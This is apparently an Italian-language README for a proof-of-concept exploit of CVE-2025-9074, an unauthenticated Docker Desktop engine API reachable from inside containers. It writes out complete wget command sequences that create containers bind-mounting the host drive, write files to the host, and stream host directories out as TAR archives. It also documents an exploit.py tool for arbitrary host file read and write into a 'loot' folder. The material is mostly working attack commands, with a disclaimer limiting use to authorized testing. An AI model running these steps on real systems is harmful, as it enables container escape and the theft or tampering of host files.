
Docker Desktop espone l'API interna del motore Docker all'indirizzo http://192.168.65.7:2375
a qualsiasi container in esecuzione — senza autenticazione e senza controllo degli accessi.
Poiché il motore stesso può montare il filesystem dell'host, un container può chiamare questa API per creare un nuovo container che monta tramite bind l'unità dell'host, e poi usare quel container per leggere e scrivere file arbitrari dell'host — una fuga completa da container a host.
http://192.168.65.7:2375 — non sono richieste credenziali.POST /containers/create con
Binds: ["/mnt/host:/host_root"], montando l'unità dell'host in un nuovo container.
All'interno della VM Docker il filesystem dell'host è esposto in /mnt/host
(ad es. l'unità C: di Windows si trova in /mnt/host/c).POST /containers/{id}/start attiva il bind mount,
garantendo pieno accesso all'host.echo pwned > /host_root/c/test/pwn.txt).GET /containers/{id}/archive?path=... restituisce in streaming qualsiasi
percorso dell'host come archivio TAR — senza bisogno di una shell.Crea C:\test\readme.txt con del contenuto di esempio, così la demo di lettura ha un obiettivo.

docker run -it --rm alpine /bin/sh
Tutti i passaggi manuali seguenti vengono eseguiti all'interno di questo container (alpine include wget).
Imposta una variabile di shell per l'API per mantenere i comandi brevi:
API=http://192.168.65.7:2375
Obiettivo: creare C:\test\pwn.txt sull'host dall'interno di un container.
# 1. Create a container that mounts the host C: drive and writes a file into it.
wget -q -O create.json \
--header='Content-Type: application/json' \
--post-data='{"Image":"alpine","Cmd":["sh","-c","echo pwned > /host_root/c/test/pwn.txt"],"HostConfig":{"Binds":["/mnt/host:/host_root"]}}' \
$API/containers/create
# 2. Extract the new container ID from the JSON response.
cid=$(cut -d'"' -f4 create.json)
# 3. Start it — the command runs and writes the file to the host.
wget -q -O - --post-data='' $API/containers/$cid/start
Cosa è successo:
Binds: /mnt/host:/host_root monta le unità dell'host nel nuovo container.pwned in C:\test\pwn.txt (/host_root/c/test/pwn.txt).Risultato atteso: C:\test\pwn.txt ora esiste sull'host.

Obiettivo: leggere C:\test\readme.txt dall'host dall'interno di un container.
# 1. Create + start a container with the host drive mounted (kept alive briefly).
wget -q -O create.json \
--header='Content-Type: application/json' \
--post-data='{"Image":"alpine","Cmd":["sleep","30"],"HostConfig":{"Binds":["/mnt/host:/host_root"]}}' \
$API/containers/create
cid=$(cut -d'"' -f4 create.json)
wget -q -O - --post-data='' $API/containers/$cid/start
# 2. Ask the engine for a TAR archive of the host directory, then extract it.
wget -q -O test.tar "$API/containers/$cid/archive?path=/host_root/c/test"
tar -xvf test.tar
cat test/readme.txt
Cosa è successo:
GET /containers/{id}/archive?path=... restituisce in streaming qualsiasi percorso dell'host come TAR — nessuna shell necessaria.Risultato atteso: viene stampato il contenuto di C:\test\readme.txt.

exploit.pyexploit.py automatizza entrambi i flussi. Usa solo la libreria standard di Python,
rileva automaticamente il mount dell'host (Windows /mnt/host/c rispetto a macOS/Linux /),
e traduce per te i percorsi nativi dell'host.
L'API interna (
192.168.65.7:2375) è raggiungibile solo dall'interno di un container, quindi esegui lo script in un container che abbia Python:
# From the repo directory on the host:
docker run --rm -it -v "${PWD}:/x" python:3-alpine python /x/exploit.py info
Su Windows PowerShell usa -v "${PWD}:/x"; su cmd.exe usa -v "%cd%:/x".
python /x/exploit.py info
Esegue un ping all'API, rileva il sistema operativo dell'host ed elenca le voci di livello superiore del mount dell'host.
# Windows host
python /x/exploit.py write 'C:\test\pwn.txt' --content 'pwned via CVE-2025-9074'
# macOS/Linux host (or pipe content via stdin)
echo "pwned" | python /x/exploit.py write /tmp/pwn.txt
# Print to stdout
python /x/exploit.py read 'C:\test\readme.txt'
# Or extract (file or whole directory) into ./loot
python /x/exploit.py read 'C:\test' --out ./loot
Questo PoC è solo per test autorizzati, formazione e ricerca. L'autore non si assume alcuna responsabilità per un uso improprio. Eseguilo solo su sistemi di tua proprietà o per cui sei autorizzato a fare test.
Questo PoC e il README sono derivati dalla ricerca di Felix Boulet. Tutto il merito della scoperta e dell'analisi originali va all'autore originale.
Questo progetto è concesso in licenza con la Licenza MIT.
| Flag | Scopo |
|---|
--api URL | Sostituisce l'endpoint API (predefinito http://192.168.65.7:2375) |
--image NAME | Immagine per il container di sfruttamento (predefinita alpine, scaricata automaticamente se mancante) |
--vm-mount PATH | Salta il rilevamento automatico e forza il mount dell'host nella VM (ad es. /mnt/host o /) |